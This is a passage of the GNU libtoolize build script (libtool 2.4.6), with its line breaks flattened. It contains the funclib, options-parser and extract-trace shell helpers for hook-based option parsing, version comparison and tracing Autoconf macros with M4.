eval "func_echo $func_quote_for_expand_result" } $opt_dry_run || { eval "$_G_user_locale $_G_cmd" _G_status=$? eval "$_G_safe_locale" if test 0 -ne "$_G_status"; then eval "(exit $_G_status); $_G_fail_exp" fi } } # func_tr_sh # ---------- # Turn $1 into a string suitable for a shell variable name. # Result is stored in $func_tr_sh_result. All characters # not in the set a-zA-Z0-9_ are replaced with '_'. Further, # if $1 begins with a digit, a '_' is prepended as well. func_tr_sh () { $debug_cmd case $1 in [0-9]* | *[!a-zA-Z0-9_]*) func_tr_sh_result=`$ECHO "$1" | $SED -e 's/^\([0-9]\)/_\1/' -e 's/[^a-zA-Z0-9_]/_/g'` ;; * ) func_tr_sh_result=$1 ;; esac } # func_verbose ARG... # ------------------- # Echo program name prefixed message in verbose mode only. func_verbose () { $debug_cmd $opt_verbose && func_echo "$*" : } # func_warn_and_continue ARG... # ----------------------------- # Echo program name prefixed warning message to standard error. func_warn_and_continue () { $debug_cmd $require_term_colors func_echo_infix_1 "${tc_red}warning$tc_reset" "$*" >&2 } # func_warning CATEGORY ARG... # ---------------------------- # Echo program name prefixed warning message to standard error. Warning # messages can be filtered according to CATEGORY, where this function # elides messages where CATEGORY is not listed in the global variable # 'opt_warning_types'. func_warning () { $debug_cmd # CATEGORY must be in the warning_categories list! case " $warning_categories " in *" $1 "*) ;; *) func_internal_error "invalid warning category '$1'" ;; esac _G_category=$1 shift case " $opt_warning_types " in *" $_G_category "*) $warning_func ${1+"$@"} ;; esac } # func_sort_ver VER1 VER2 # ----------------------- # 'sort -V' is not generally available. # Note this deviates from the version comparison in automake # in that it treats 1.5 < 1.5.0, and treats 1.4.4a < 1.4-p3a # but this should suffice as we won't be specifying old # version formats or redundant trailing .0 in bootstrap.conf. # If we did want full compatibility then we should probably # use m4_version_compare from autoconf. func_sort_ver () { $debug_cmd printf '%s\n%s\n' "$1" "$2" \ | sort -t. -k 1,1n -k 2,2n -k 3,3n -k 4,4n -k 5,5n -k 6,6n -k 7,7n -k 8,8n -k 9,9n } # func_lt_ver PREV CURR # --------------------- # Return true if PREV and CURR are in the correct order according to # func_sort_ver, otherwise false. Use it like this: # # func_lt_ver "$prev_ver" "$proposed_ver" || func_fatal_error "..." func_lt_ver () { $debug_cmd test "x$1" = x`func_sort_ver "$1" "$2" | $SED 1q` } # Local variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'before-save-hook 'time-stamp) # time-stamp-pattern: "10/scriptversion=%:y-%02m-%02d.%02H; # UTC" # time-stamp-time-zone: "UTC" # End: #! /bin/sh # Set a version string for this script. scriptversion=2014-01-07.03; # UTC # A portable, pluggable option parser for Bourne shell. # Written by Gary V. Vaughan, 2010 # Copyright (C) 2010-2015 Free Software Foundation, Inc. # This is free software; see the source for copying conditions. There is NO # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # Please report bugs or propose patches to gary@gnu.org. ## ------ ## ## Usage. ## ## ------ ## # This file is a library for parsing options in your shell scripts along # with assorted other useful supporting features that you can make use # of too. # # For the simplest scripts you might need only: # # #!/bin/sh # . relative/path/to/funclib.sh # . relative/path/to/options-parser # scriptversion=1.0 # func_options ${1+"$@"} # eval set dummy "$func_options_result"; shift # ...rest of your script... # # In order for the '--version' option to work, you will need to have a # suitably formatted comment like the one at the top of this file # starting with '# Written by ' and ending with '# warranty; '. # # For '-h' and '--help' to work, you will also need a one line # description of your script's purpose in a comment directly above the # '# Written by ' line, like the one at the top of this file. # # The default options also support '--debug', which will turn on shell # execution tracing (see the comment above debug_cmd below for another # use), and '--verbose' and the func_verbose function to allow your script # to display verbose messages only when your user has specified # '--verbose'. # # After sourcing this file, you can plug processing for additional # options by amending the variables from the 'Configuration' section # below, and following the instructions in the 'Option parsing' # section further down. ## -------------- ## ## Configuration. ## ## -------------- ## # You should override these variables in your script after sourcing this # file so that they reflect the customisations you have added to the # option parser. # The usage line for option parsing errors and the start of '-h' and # '--help' output messages. You can embed shell variables for delayed # expansion at the time the message is displayed, but you will need to # quote other shell meta-characters carefully to prevent them being # expanded when the contents are evaled. usage='$progpath [OPTION]...' # Short help message in response to '-h' and '--help'. Add to this or # override it after sourcing this library to reflect the full set of # options your script accepts. usage_message="\ --debug enable verbose shell tracing -W, --warnings=CATEGORY report the warnings falling in CATEGORY [all] -v, --verbose verbosely report processing --version print version information and exit -h, --help print short or long help message and exit " # Additional text appended to 'usage_message' in response to '--help'. long_help_message=" Warning categories include: 'all' show all warnings 'none' turn off all the warnings 'error' warnings are treated as fatal errors" # Help message printed before fatal option parsing errors. fatal_help="Try '\$progname --help' for more information." ## ------------------------- ## ## Hook function management. ## ## ------------------------- ## # This section contains functions for adding, removing, and running hooks # to the main code. A hook is just a named list of of function, that can # be run in order later on. # func_hookable FUNC_NAME # ----------------------- # Declare that FUNC_NAME will run hooks added with # 'func_add_hook FUNC_NAME ...'. func_hookable () { $debug_cmd func_append hookable_fns " $1" } # func_add_hook FUNC_NAME HOOK_FUNC # --------------------------------- # Request that FUNC_NAME call HOOK_FUNC before it returns. FUNC_NAME must # first have been declared "hookable" by a call to 'func_hookable'. func_add_hook () { $debug_cmd case " $hookable_fns " in *" $1 "*) ;; *) func_fatal_error "'$1' does not accept hook functions." ;; esac eval func_append ${1}_hooks '" $2"' } # func_remove_hook FUNC_NAME HOOK_FUNC # ------------------------------------ # Remove HOOK_FUNC from the list of functions called by FUNC_NAME. func_remove_hook () { $debug_cmd eval ${1}_hooks='`$ECHO "\$'$1'_hooks" |$SED "s| '$2'||"`' } # func_run_hooks FUNC_NAME [ARG]... # --------------------------------- # Run all hook functions registered to FUNC_NAME. # It is assumed that the list of hook functions contains nothing more # than a whitespace-delimited list of legal shell function names, and # no effort is wasted trying to catch shell meta-characters or preserve # whitespace. func_run_hooks () { $debug_cmd case " $hookable_fns " in *" $1 "*) ;; *) func_fatal_error "'$1' does not support hook funcions.n" ;; esac eval _G_hook_fns=\$$1_hooks; shift for _G_hook in $_G_hook_fns; do eval $_G_hook '"$@"' # store returned options list back into positional # parameters for next 'cmd' execution. eval _G_hook_result=\$${_G_hook}_result eval set dummy "$_G_hook_result"; shift done func_quote_for_eval ${1+"$@"} func_run_hooks_result=$func_quote_for_eval_result } ## --------------- ## ## Option parsing. ## ## --------------- ## # In order to add your own option parsing hooks, you must accept the # full positional parameter list in your hook function, remove any # options that you action, and then pass back the remaining unprocessed # options in '<hooked_function_name>_result', escaped suitably for # 'eval'. Like this: # # my_options_prep () # { # $debug_cmd # # # Extend the existing usage message. # usage_message=$usage_message' # -s, --silent don'\''t print informational messages # ' # # func_quote_for_eval ${1+"$@"} # my_options_prep_result=$func_quote_for_eval_result # } # func_add_hook func_options_prep my_options_prep # # # my_silent_option () # { # $debug_cmd # # # Note that for efficiency, we parse as many options as we can # # recognise in a loop before passing the remainder back to the # # caller on the first unrecognised argument we encounter. # while test $# -gt 0; do # opt=$1; shift # case $opt in # --silent|-s) opt_silent=: ;; # # Separate non-argument short options: # -s*) func_split_short_opt "$_G_opt" # set dummy "$func_split_short_opt_name" \ # "-$func_split_short_opt_arg" ${1+"$@"} # shift # ;; # *) set dummy "$_G_opt" "$*"; shift; break ;; # esac # done # # func_quote_for_eval ${1+"$@"} # my_silent_option_result=$func_quote_for_eval_result # } # func_add_hook func_parse_options my_silent_option # # # my_option_validation () # { # $debug_cmd # # $opt_silent && $opt_verbose && func_fatal_help "\ # '--silent' and '--verbose' options are mutually exclusive." # # func_quote_for_eval ${1+"$@"} # my_option_validation_result=$func_quote_for_eval_result # } # func_add_hook func_validate_options my_option_validation # # You'll alse need to manually amend $usage_message to reflect the extra # options you parse. It's preferable to append if you can, so that # multiple option parsing hooks can be added safely. # func_options [ARG]... # --------------------- # All the functions called inside func_options are hookable. See the # individual implementations for details. func_hookable func_options func_options () { $debug_cmd func_options_prep ${1+"$@"} eval func_parse_options \ ${func_options_prep_result+"$func_options_prep_result"} eval func_validate_options \ ${func_parse_options_result+"$func_parse_options_result"} eval func_run_hooks func_options \ ${func_validate_options_result+"$func_validate_options_result"} # save modified positional parameters for caller func_options_result=$func_run_hooks_result } # func_options_prep [ARG]... # -------------------------- # All initialisations required before starting the option parse loop. # Note that when calling hook functions, we pass through the list of # positional parameters. If a hook function modifies that list, and # needs to propogate that back to rest of this script, then the complete # modified list must be put in 'func_run_hooks_result' before # returning. func_hookable func_options_prep func_options_prep () { $debug_cmd # Option defaults: opt_verbose=false opt_warning_types= func_run_hooks func_options_prep ${1+"$@"} # save modified positional parameters for caller func_options_prep_result=$func_run_hooks_result } # func_parse_options [ARG]... # --------------------------- # The main option parsing loop. func_hookable func_parse_options func_parse_options () { $debug_cmd func_parse_options_result= # this just eases exit handling while test $# -gt 0; do # Defer to hook functions for initial option parsing, so they # get priority in the event of reusing an option name. func_run_hooks func_parse_options ${1+"$@"} # Adjust func_parse_options positional parameters to match eval set dummy "$func_run_hooks_result"; shift # Break out of the loop if we already parsed every option. test $# -gt 0 || break _G_opt=$1 shift case $_G_opt in --debug|-x) debug_cmd='set -x' func_echo "enabling shell trace mode" $debug_cmd ;; --no-warnings|--no-warning|--no-warn) set dummy --warnings none ${1+"$@"} shift ;; --warnings|--warning|-W) test $# = 0 && func_missing_arg $_G_opt && break case " $warning_categories $1" in *" $1 "*) # trailing space prevents matching last $1 above func_append_uniq opt_warning_types " $1" ;; *all) opt_warning_types=$warning_categories ;; *none) opt_warning_types=none warning_func=: ;; *error) opt_warning_types=$warning_categories warning_func=func_fatal_error ;; *) func_fatal_error \ "unsupported warning category: '$1'" ;; esac shift ;; --verbose|-v) opt_verbose=: ;; --version) func_version ;; -\?|-h) func_usage ;; --help) func_help ;; # Separate optargs to long options (plugins may need this): --*=*) func_split_equals "$_G_opt" set dummy "$func_split_equals_lhs" \ "$func_split_equals_rhs" ${1+"$@"} shift ;; # Separate optargs to short options: -W*) func_split_short_opt "$_G_opt" set dummy "$func_split_short_opt_name" \ "$func_split_short_opt_arg" ${1+"$@"} shift ;; # Separate non-argument short options: -\?*|-h*|-v*|-x*) func_split_short_opt "$_G_opt" set dummy "$func_split_short_opt_name" \ "-$func_split_short_opt_arg" ${1+"$@"} shift ;; --) break ;; -*) func_fatal_help "unrecognised option: '$_G_opt'" ;; *) set dummy "$_G_opt" ${1+"$@"}; shift; break ;; esac done # save modified positional parameters for caller func_quote_for_eval ${1+"$@"} func_parse_options_result=$func_quote_for_eval_result } # func_validate_options [ARG]... # ------------------------------ # Perform any sanity checks on option settings and/or unconsumed # arguments. func_hookable func_validate_options func_validate_options () { $debug_cmd # Display all warnings if -W was not given. test -n "$opt_warning_types" || opt_warning_types=" $warning_categories" func_run_hooks func_validate_options ${1+"$@"} # Bail if the options were screwed! $exit_cmd $EXIT_FAILURE # save modified positional parameters for caller func_validate_options_result=$func_run_hooks_result } ## ----------------- ## ## Helper functions. ## ## ----------------- ## # This section contains the helper functions used by the rest of the # hookable option parser framework in ascii-betical order. # func_fatal_help ARG... # ---------------------- # Echo program name prefixed message to standard error, followed by # a help hint, and exit. func_fatal_help () { $debug_cmd eval \$ECHO \""Usage: $usage"\" eval \$ECHO \""$fatal_help"\" func_error ${1+"$@"} exit $EXIT_FAILURE } # func_help # --------- # Echo long help message to standard output and exit. func_help () { $debug_cmd func_usage_message $ECHO "$long_help_message" exit 0 } # func_missing_arg ARGNAME # ------------------------ # Echo program name prefixed message to standard error and set global # exit_cmd. func_missing_arg () { $debug_cmd func_error "Missing argument for '$1'." exit_cmd=exit } # func_split_equals STRING # ------------------------ # Set func_split_equals_lhs and func_split_equals_rhs shell variables after # splitting STRING at the '=' sign. test -z "$_G_HAVE_XSI_OPS" \ && (eval 'x=a/b/c; test 5aa/bb/cc = "${#x}${x%%/*}${x%/*}${x#*/}${x##*/}"') 2>/dev/null \ && _G_HAVE_XSI_OPS=yes if test yes = "$_G_HAVE_XSI_OPS" then # This is an XSI compatible shell, allowing a faster implementation... eval 'func_split_equals () { $debug_cmd func_split_equals_lhs=${1%%=*} func_split_equals_rhs=${1#*=} test "x$func_split_equals_lhs" = "x$1" \ && func_split_equals_rhs= }' else # ...otherwise fall back to using expr, which is often a shell builtin. func_split_equals () { $debug_cmd func_split_equals_lhs=`expr "x$1" : 'x\([^=]*\)'` func_split_equals_rhs= test "x$func_split_equals_lhs" = "x$1" \ || func_split_equals_rhs=`expr "x$1" : 'x[^=]*=\(.*\)$'` } fi #func_split_equals # func_split_short_opt SHORTOPT # ----------------------------- # Set func_split_short_opt_name and func_split_short_opt_arg shell # variables after splitting SHORTOPT after the 2nd character. if test yes = "$_G_HAVE_XSI_OPS" then # This is an XSI compatible shell, allowing a faster implementation... eval 'func_split_short_opt () { $debug_cmd func_split_short_opt_arg=${1#??} func_split_short_opt_name=${1%"$func_split_short_opt_arg"} }' else # ...otherwise fall back to using expr, which is often a shell builtin. func_split_short_opt () { $debug_cmd func_split_short_opt_name=`expr "x$1" : 'x-\(.\)'` func_split_short_opt_arg=`expr "x$1" : 'x-.\(.*\)$'` } fi #func_split_short_opt # func_usage # ---------- # Echo short help message to standard output and exit. func_usage () { $debug_cmd func_usage_message $ECHO "Run '$progname --help |${PAGER-more}' for full usage" exit 0 } # func_usage_message # ------------------ # Echo short help message to standard output. func_usage_message () { $debug_cmd eval \$ECHO \""Usage: $usage"\" echo $SED -n 's|^# || /^Written by/{ x;p;x } h /^Written by/q' < "$progpath" echo eval \$ECHO \""$usage_message"\" } # func_version # ------------ # Echo version message to standard output and exit. func_version () { $debug_cmd printf '%s\n' "$progname $scriptversion" $SED -n ' /(C)/!b go :more /\./!{ N s|\n# | | b more } :go /^# Written by /,/# warranty; / { s|^# || s|^# *$|| s|\((C)\)[ 0-9,-]*[ ,-]\([1-9][0-9]* \)|\1 \2| p } /^# Written by / { s|^# || p } /^warranty; /q' < "$progpath" exit $? } # Local variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'before-save-hook 'time-stamp) # time-stamp-pattern: "10/scriptversion=%:y-%02m-%02d.%02H; # UTC" # time-stamp-time-zone: "UTC" # End: #! /bin/sh # Extract macro arguments from autotools input with GNU M4. # Written by Gary V. Vaughan, 2010 # # Copyright (C) 2010-2015 Free Software Foundation, Inc. # This is free software; see the source for copying conditions. There is NO # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # Make sure we've evaluated scripts we depend on. test -z "$progpath" && . `echo "$0" |${SED-sed} 's|[^/]*$||'`/funclib.sh test extract-trace = "$progname" && . `echo "$0" |${SED-sed} 's|[^/]*$||'`/options-parser # Set a version string. scriptversion=2015-01-20.17; # UTC # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # Please report bugs or propose patches to gary@gnu.org. ## ------ ## ## Usage. ## ## ------ ## # Run './extract-trace --help' for help with using this script from the # command line. # # Or source first 'options-parser' and then this file into your own # scripts in order to make use of the function and variable framework # they define, and also to avoid the overhead of forking to run this # script in its own process on every call. ## ----------------- ## ## Helper functions. ## ## ----------------- ## # This section contains the helper functions used by the rest of # 'extract-trace'. # func_autoconf_configure MAYBE-CONFIGURE-FILE # -------------------------------------------- # Ensure that MAYBE-CONFIGURE-FILE is the name of a file in the current # directory that contains an uncommented call to AC_INIT. func_autoconf_configure () { $debug_cmd _G_sed_no_comment=' s|#.*$|| s|^dnl .*$|| s| dnl .*$||' _G_ac_init= # If we were passed a genuine file, make sure it calls AC_INIT. test -f "$1" \ && _G_ac_init=`$SED "$_G_sed_no_comment" "$1" |$GREP AC_INIT` # Otherwise it is not a genuine Autoconf input file. test -n "$_G_ac_init" _G_status=$? test 0 -ne "$_G_status" \ && func_verbose "'$1' not using Autoconf" (exit $_G_status) } # func_tool_version_output CMD [FATAL-ERROR-MSG] # ---------------------------------------------- # Attempt to run 'CMD --version', discarding errors. The output can be # ignored by redirecting stdout, and this function used simply to test # whether the command exists and exits normally when passed a # '--version' argument. # When FATAL-ERROR-MSG is given, then this function will display the # message and exit if running 'CMD --version' returns a non-zero exit # status. func_tool_version_output () { $debug_cmd _G_cmd=$1 _G_fatal_error_msg=$2 # Some tools, like 'git2cl' produce thousands of lines of output # unless stdin is /dev/null - in that case we want to return # successfully without saving all of that output. Other tools, # such as 'help2man' exit with a non-zero status when stdin comes # from /dev/null, so we re-execute without /dev/null if that # happens. This means that occasionally, the output from both calls # ends up in the result, but the alternative would be to discard the # output from one call, and hope the other produces something useful. { $_G_cmd --version </dev/null || $_G_cmd --version; } 2>/dev/null _G_status=$? test 0 -ne "$_G_status" && test -n "$_G_fatal_error_msg" \ && func_fatal_error "$_G_fatal_error_msg" (exit $_G_status) } # func_tool_version_number CMD [FATAL-ERROR-MSG] # ---------------------------------------------- # Pass arguments to func_tool_version_output, but set # $func_tool_version_number_result to the last dot delimited digit string # on the first line of output. func_tool_version_number () { $debug_cmd _G_verout=`func_tool_version_output "$@"` _G_status=$? # A version number starts with a digit following a space on the first # line of output from `--version`. _G_verout=`echo "$_G_verout" |sed 1q` if test -n "$_G_verout"; then _G_vernum=`expr "$_G_verout" : '.* \([0-9][^ ]*\)'` fi if test -n "$_G_vernum"; then printf '%s\n' "$_G_vernum" else printf '%s\n' "$_G_verout" fi (exit $_G_status) } # func_find_tool ENVVAR NAMES... # ------------------------------ # Search for a required program. Use the value of ENVVAR, if set, # otherwise find the first of the NAMES that can be run (i.e., # supports --version). If found, set ENVVAR to the program name, # die otherwise. func_find_tool () { $debug_cmd _G_find_tool_envvar=$1 shift _G_find_tool_names=$@ eval "_G_find_tool_res=\$$_G_find_tool_envvar" if test -n "$_G_find_tool_res"; then _G_find_tool_error_prefix="\$$find_tool_envvar: " else _G_find_tool_res= _G_bestver= for _G_prog do _G_find_tool_save_IFS=$IFS IFS=${PATH_SEPARATOR-:} for _G_dir in $PATH; do IFS=$_G_find_tool_save_IFS _G_progpath=$_G_dir/$_G_prog test -r "$_G_progpath" && { _G_curver=`func_tool_version_number $_G_progpath` case $_G_bestver,$_G_curver in ,) # first non--version responsive prog sticks! test -n "$_G_progpath" || _G_find_tool_res=$_G_progpath ;; ,*) # first --version responsive prog beats non--version responsive! _G_find_tool_res=$_G_progpath _G_bestver=$_G_curver ;; *,*) # another --version responsive prog must be newer to beat previous one! test "x$_G_curver" = "x$_G_bestver" \ || func_lt_ver "$_G_curver" "$_G_bestver" \ || { _G_find_tool_res=$_G_progpath _G_bestver=$_G_curver } ;; esac } done IFS=$_G_find_tool_save_IFS done fi if test -n "$_G_find_tool_res"; then func_tool_version_number >/dev/null $_G_find_tool_res "\ ${_G_find_tool_error_prefix}Cannot run '$_G_find_tool_res --version'" # Make sure the result is exported to the environment for children # to use. eval "$_G_find_tool_envvar=\$_G_find_tool_res" eval "export $_G_find_tool_envvar" else func_error "\ One of these is required: $_G_find_tool_names" fi } ## -------------------- ## ## Resource management. ## ## -------------------- ## # This section contains definitions for functions that each ensure a # particular resource (a file, or a non-empty configuration variable for # example) is available, and if appropriate to extract default values # from pertinent package files. Where a variable already has a non- # empty value (as set by the package's 'bootstrap.conf'), that value is # used in preference to deriving the default. Call them using their # associated 'require_*' variable to ensure that they are executed, at # most, once. # # It's entirely deliberate that calling these functions can set # variables that don't obey the namespace limitations obeyed by the rest # of this file, in order that that they be as useful as possible to # callers. # require_configure_ac # -------------------- # Ensure that there is a 'configure.ac' or 'configure.in' file in the # current directory that contains an uncommented call to AC_INIT, and # that '$configure_ac' contains its name. require_configure_ac=func_require_configure_ac func_require_configure_ac () { $debug_cmd test -z "$configure_ac" \ && func_autoconf_configure configure.ac && configure_ac=configure.ac test -z "$configure_ac" \ && func_autoconf_configure configure.in && configure_ac=configure.in test -z "$configure_ac" \ || func_verbose "found '$configure_ac'" require_configure_ac=: } # require_gnu_m4 # -------------- # Search for GNU M4, and export it in $M4. require_gnu_m4=func_require_gnu_m4 func_require_gnu_m4 () { $debug_cmd test -n "$M4" || { # Find the first m4 binary that responds to --version. func_find_tool M4 gm4 gnum4 m4 } test -n "$M4" || func_fatal_error "\ Please install GNU M4, or 'export M4=/path/to/gnu/m4'." func_verbose "export M4='$M4'" # Make sure the search result is visible to subshells export M4 require_gnu_m4=: } ## --------------- ## ## Core functions. ## ## --------------- ## # This section contains the high level functions used when calling this # file as a script. 'func_extract_trace' is probably the only one that you # won't want to replace if you source this file into your own script. # func_extract_trace MACRO_NAMES [FILENAME]... # -------------------------------------------- # set '$func_extract_trace_result' to a colon delimited list of arguments # to any of the comma separated list of MACRO_NAMES in FILENAME. If no # FILENAME is given, then '$configure_ac' is assumed. func_extract_trace () { $debug_cmd $require_configure_ac $require_gnu_m4 _G_m4_traces=`$ECHO "--trace=$1" |$SED 's%,% --trace=%g'` _G_re_macros=`$ECHO "($1)" |$SED 's%,%|%g'` _G_macros="$1"; shift test $# -gt 0 || { set dummy $configure_ac shift } # Generate an error if the first file is missing <"$1" # Sadly, we can't use 'autom4te' tracing to extract macro arguments, # because it complains about things we want to ignore at bootstrap # time - like missing m4_include files; AC_PREREQ being newer than # the installed autoconf; and returns nothing when tracing # 'AM_INIT_AUTOMAKE' when aclocal hasn't been generated yet. # # The following tries to emulate a less persnickety version of (and # due to not having to wait for Perl startup on every invocation, # it's probably faster too): # # autom4te --language=Autoconf --trace=$my_macro:\$% "$@" # # First we give a minimal set of macro declarations to M4 to prime # it for reading Autoconf macros, while still providing some of the # functionality generally used at m4-time to supply dynamic # arguments to Autocof functions, but without following # 'm4_s?include' files. _G_mini=' # Initialisation. m4_changequote([,]) m4_define([m4_copy], [m4_define([$2], m4_defn([$1]))]) m4_define([m4_rename], [m4_copy([$1], [$2])m4_undefine([$1])]) # Disable these macros. m4_undefine([m4_dnl]) m4_undefine([m4_include]) m4_undefine([m4_m4exit]) m4_undefine([m4_m4wrap]) m4_undefine([m4_maketemp]) # Copy and rename macros not handled by "m4 --prefix". m4_define([dnl], [m4_builtin([dnl])]) m4_copy([m4_define], [m4_defun]) m4_rename([m4_ifelse], [m4_if]) m4_ifdef([m4_mkstemp], [m4_undefine([m4_mkstemp])]) m4_rename([m4_patsubst], [m4_bpatsubst]) m4_rename([m4_regexp], [m4_bregexp]) # "m4sugar.mini" - useful m4-time macros for dynamic arguments. # If we discover packages that need more m4 macros defined in # order to bootstrap correctly, add them here: m4_define([m4_bmatch], [m4_if([$#], 0, [], [$#], 1, [], [$#], 2, [$2], [m4_if(m4_bregexp([$1], [$2]), -1, [$0([$1], m4_shift3($@))], [$3])])]) m4_define([m4_ifndef], [m4_ifdef([$1], [$3], [$2])]) m4_define([m4_ifset], [m4_ifdef([$1], [m4_ifval(m4_defn([$1]), [$2], [$3])], [$3])]) m4_define([m4_require], [$1]) m4_define([m4_shift3], [m4_shift(m4shift(m4shift($@)))]) # "autoconf.mini" - things from autoconf macros we care about. m4_copy([m4_defun], [AC_DEFUN]) # Dummy definitions for the macros we want to trace. # AM_INIT_AUTOMAKE at least produces no trace without this. ' _G_save=$IFS IFS=, for _G_macro in $_G_macros; do IFS=$_G_save func_append _G_mini "AC_DEFUN([$_G_macro])$nl" done IFS=$_G_save # We discard M4's stdout, but the M4 trace output from reading our # "autoconf.mini" followed by any other files passed to this # function is then scanned by sed to transform it into a colon # delimited argument list assigned to a shell variable. _G_transform='s|#.*$||; s|^dnl .*$||; s| dnl .*$||;' # Unfortunately, alternation in regexp addresses doesn't work in at # least BSD (and hence Mac OS X) sed, so we have to append a capture # and print block for each traced macro to the sed transform script. _G_save=$IFS IFS=, for _G_macro in $_G_macros; do IFS=$_G_save func_append _G_transform ' /^m4trace: -1- '"$_G_macro"'/ { s|^m4trace: -1- '"$_G_macro"'[([]*|| s|], [[]|:|g s|[])]*$|:| s|\(.\):$|\1| p }' done IFS=$_G_save # Save the command pipeline results for further use by callers of # this function. func_extract_trace_result=`$ECHO "$_G_mini" \ |$M4 -daq --prefix $_G_m4_traces - "$@" 2>&1 1>/dev/null \ |$SED -n -e "$_G_transform"` } # func_extract_trace_first MACRO_NAMES [FILENAME]... # -------------------------------------------------- # Exactly like func_extract_trace, except that only the first argument # to the first invocation of one of the comma separated MACRO_NAMES is # returned in '$func_extract_trace_first_result'. func_extract_trace_first () { $debug_cmd func_extract_trace ${1+"$@"} func_extract_trace_first_result=`$ECHO "$func_extract_trace_result" \ |$SED -e 's|:.*$||g' -e 1q` } # func_main [ARG]... # ------------------ func_main () { $debug_cmd # Configuration. usage='$progname MACRO_NAME FILE [...]' long_help_message=' The first argument to this program is the name of an autotools macro whose arguments you want to extract by examining the files listed in the remaining arguments using the same tool that Autoconf and Automake use, GNU M4. The arguments are returned separated by colons, with each traced call on a separate line.' # Option processing. func_options "$@" eval set dummy "$func_options_result"; shift # Validate remaining non-option arguments. test $# -gt 1 \ || func_fatal_help "not enough arguments" # Pass non-option arguments to extraction function. func_extract_trace "$@" # Display results. test -n "$func_extract_trace_result" \ && $ECHO "$func_extract_trace_result" # The End. exit $EXIT_SUCCESS } ## --------------------------- ## ## Actually perform the trace. ## ## --------------------------- ## # Only call 'func_main' if this script was called directly. test extract-trace = "$progname" && func_main "$@" # Local variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'before-save-hook 'time-stamp) # time-stamp-pattern: "20/scriptversion=%:y-%02m-%02d.%02H; # UTC" # time-stamp-time-zone: "UTC" # End: # Set a version string. scriptversion='(GNU libtool) 2.4.6' ## ---------------- ## ## Options parsing. ## ## ---------------- ## # Hook in the functions to make sure our own options are parsed during # the option parsing loop. usage='$progpath [OPTION]...' # Short help message in response to '-h'. usage_message="Options: -c, --copy copy files rather than symlinking them --debug enable verbose shell tracing -n, --dry-run print commands rather than running them -f, --force replace existing files -i, --install copy missing auxiliary files --ltdl[=DIR] install libltdl sources [default: libltdl] --no-warnings equivalent to '-Wnone' --nonrecursive prepare ltdl for non-recursive make -q, --quiet work silently --recursive prepare ltdl for recursive make --subproject prepare ltdl to configure and build independently -v, --verbose verbosely report processing --version print version information and exit -W, --warnings=CATEGORY report the warnings falling in CATEGORY [all] -h, --help print short or long help message " # Additional text appended to 'usage_message' in response to '--help'. long_help_message=$long_help_message" 'environment' show warnings about LIBTOOLIZE_OPTIONS content 'file' show warnings about file copying and linking The following space or comma delimited options can be passed to $progname via the environment variable LIBTOOLIZE_OPTIONS, unknown environment options are ignored: --debug enable verbose shell tracing --no-warnings don't display warning messages --quiet work silently --verbose verbosely report processing You must 'cd' to the top directory of your package before you run '$progname'. When reporting a bug, please describe a test case to reproduce it and include the following information: host-triplet: x86_64-redhat-linux-gnu version: $progname (GNU libtool) 2.4.6 automake: `($AUTOMAKE --version) 2>/dev/null |$SED 1q` autoconf: `($AUTOCONF --version) 2>/dev/null |$SED 1q` Report bugs to <bug-libtool@gnu.org>. GNU libtool home page: <http://www.gnu.org/software/libtool/>. General help using GNU software: <http://www.gnu.org/gethelp/>. " warning_categories='environment file' # libtoolize_environment_options [ARG]... # --------------------------------------- # Parse environment options. libtoolize_environment_options () { $debug_mode my_sed_env_opt='1s/^\([^,:; ]*\).*$/\1/;q' my_sed_env_rest='1s/^[^,:; ]*[,:; ]*\(.*\)$/\1/;q' while test -n "$LIBTOOLIZE_OPTIONS"; do opt=`echo "$LIBTOOLIZE_OPTIONS" | $SED "$my_sed_env_opt"` LIBTOOLIZE_OPTIONS=`echo "$LIBTOOLIZE_OPTIONS" | $SED "$my_sed_env_rest"` case $opt in --debug|--no-warn|--no-warning|--no-warnings|--quiet|--verbose) envopts="${envopts+$envopts }$opt" ;; --*) env_warning="${env_warning+$env_warning }unrecognized environment option '$opt'" ;; *) func_fatal_help "garbled LIBTOOLIZE_OPTIONS near '$opt'" ;; esac done # Pass back the updated list of options. if test -n "$envopts"; then func_quote_for_eval "$envopts" ${1+"$@"} else func_quote_for_eval ${1+"$@"} fi libtoolize_environment_options_result=$func_quote_for_eval_result } func_add_hook func_options_prep libtoolize_environment_options # libtoolize_options_prep [ARG]... # -------------------------------- # Preparation for options parsed by libtoolize. libtoolize_options_prep () { $debug_cmd # Option defaults: opt_copy=false opt_dry_run=false opt_force=false opt_install=false opt_ltdl=false opt_nonrecursive=false opt_quiet=false opt_recursive=false opt_subproject=false ltdl_mode= # Pass back the list of options. func_quote_for_eval ${1+"$@"} libtoolize_options_prep_result=$func_quote_for_eval_result } func_add_hook func_options_prep libtoolize_options_prep # libtoolize_parse_options [ARG]... # --------------------------------- # Provide handling for libtoolize specific options. libtoolize_parse_options () { $debug_cmd # Perform our own loop to consume as many options as possible in # each iteration. while test $# -gt 0; do _G_opt=$1 shift case $_G_opt in --copy|-c) opt_copy=: ;; --dry-run|--dryrun|-n) $opt_dry_run || { opt_dry_run=: CP="func_echo_all $CP" test -n "$LN_S" && LN_S="func_echo_all $LN_S" MKDIR="func_echo_all $MKDIR" RM="func_echo_all $RM" } ;; --force|-f) opt_force=: ;; --install|-i) opt_install=: ;; --ltdl) opt_ltdl=: if test 0 -lt $#; then case $1 in -*) ;; *) ltdl_dir=`$ECHO "$1" | $SED 's|/*$||'` shift ;; esac fi ;; --nonrecursive|--non-recursive) 